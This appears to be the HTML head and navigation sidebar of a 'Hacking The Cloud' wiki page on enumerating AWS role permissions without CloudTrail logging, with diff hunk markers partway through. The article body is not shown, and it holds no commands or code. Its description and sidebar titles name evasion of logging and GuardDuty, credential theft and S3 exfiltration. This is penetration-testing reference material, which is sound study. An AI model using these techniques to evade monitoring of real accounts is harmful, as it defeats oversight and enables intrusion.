rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud"><meta property=og:description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="[Deprecated] Enumerate Permissions without Logging to CloudTrail - Hacking The Cloud"><meta property=twitter:description content="Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#deprecated-enumerate-permissions-without-logging-to-cloudtrail class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6 checked> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=true> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> 